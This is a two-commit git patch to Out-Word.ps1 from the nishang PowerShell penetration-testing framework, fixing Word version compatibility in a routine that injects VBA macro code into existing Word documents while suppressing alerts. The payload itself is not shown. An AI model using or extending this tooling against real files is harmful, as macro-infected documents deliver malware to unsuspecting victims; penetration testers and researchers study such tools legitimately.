From 842cd2ff940f16637145f9cf5e38f14fd048eca9 Mon Sep 17 00:00:00 2001 From: Cat0x00 Date: Sun, 10 Jul 2016 14:04:23 +0300 Subject: [PATCH 1/2] Fix for newer versions The $Word.DisplayAlerts is messed up when "infection" is used. Script statically assumes that $Word.DisplayAlerts = $False is the best choice and therefore causes errors in environments where newer word is used. I have fixed this by re-checking the Word version and enabling appropriate $Word.DisplayAlertsvalue. The $Doc.Saveas causes errors on newer versions of Word. added one more [ref] to fix. However, not sure if it's compatible with all newer (greater than v12) versions. More testing is needed. --- Client/Out-Word.ps1 | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/Client/Out-Word.ps1 b/Client/Out-Word.ps1 index 4312f7f..5cda3fb 100644 --- a/Client/Out-Word.ps1 +++ b/Client/Out-Word.ps1 @@ -305,7 +305,15 @@ https://github.com/samratashok/nishang ForEach ($WordFile in $WordFiles) { $Word = New-Object -ComObject Word.Application - $Word.DisplayAlerts = $False + $WordVersion = $Word.Version + if (($WordVersion -eq "12.0") -or ($WordVersion -eq "11.0")) + { + $Word.DisplayAlerts = $False + } + else + { + $Word.DisplayAlerts = "wdAlertsNone" + } $Doc = $Word.Documents.Open($WordFile.FullName) $DocModule = $Doc.VBProject.VBComponents.Item(1) $DocModule.CodeModule.AddFromString($code_one) @@ -325,7 +333,7 @@ https://github.com/samratashok/nishang } else { - $Doc.Saveas([ref]$SavePath, 0) + $Doc.Saveas([ref]$SavePath, [ref]0) } Write-Output "Saved to file $SavePath" $Doc.Close() From dc6c48dd7ad40556ff528148e07acec730162c93 Mon Sep 17 00:00:00 2001 From: Cat0x00 Date: Sun, 10 Jul 2016 14:16:47 +0300 Subject: [PATCH 2/2] Update Out-Word.ps1 --- Client/Out-Word.ps1 | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/Client/Out-Word.ps1 b/Client/Out-Word.ps1 index 5cda3fb..64c2ccb 100644 --- a/Client/Out-Word.ps1 +++ b/Client/Out-Word.ps1 @@ -305,15 +305,15 @@ https://github.com/samratashok/nishang ForEach ($WordFile in $WordFiles) { $Word = New-Object -ComObject Word.Application - $WordVersion = $Word.Version - if (($WordVersion -eq "12.0") -or ($WordVersion -eq "11.0")) - { - $Word.DisplayAlerts = $False - } - else - { - $Word.DisplayAlerts = "wdAlertsNone" - } + $WordVersion = $Word.Version + if (($WordVersion -eq "12.0") -or ($WordVersion -eq "11.0")) + { + $Word.DisplayAlerts = $False + } + else + { + $Word.DisplayAlerts = "wdAlertsNone" + } $Doc = $Word.Documents.Open($WordFile.FullName) $DocModule = $Doc.VBProject.VBComponents.Item(1) $DocModule.CodeModule.AddFromString($code_one)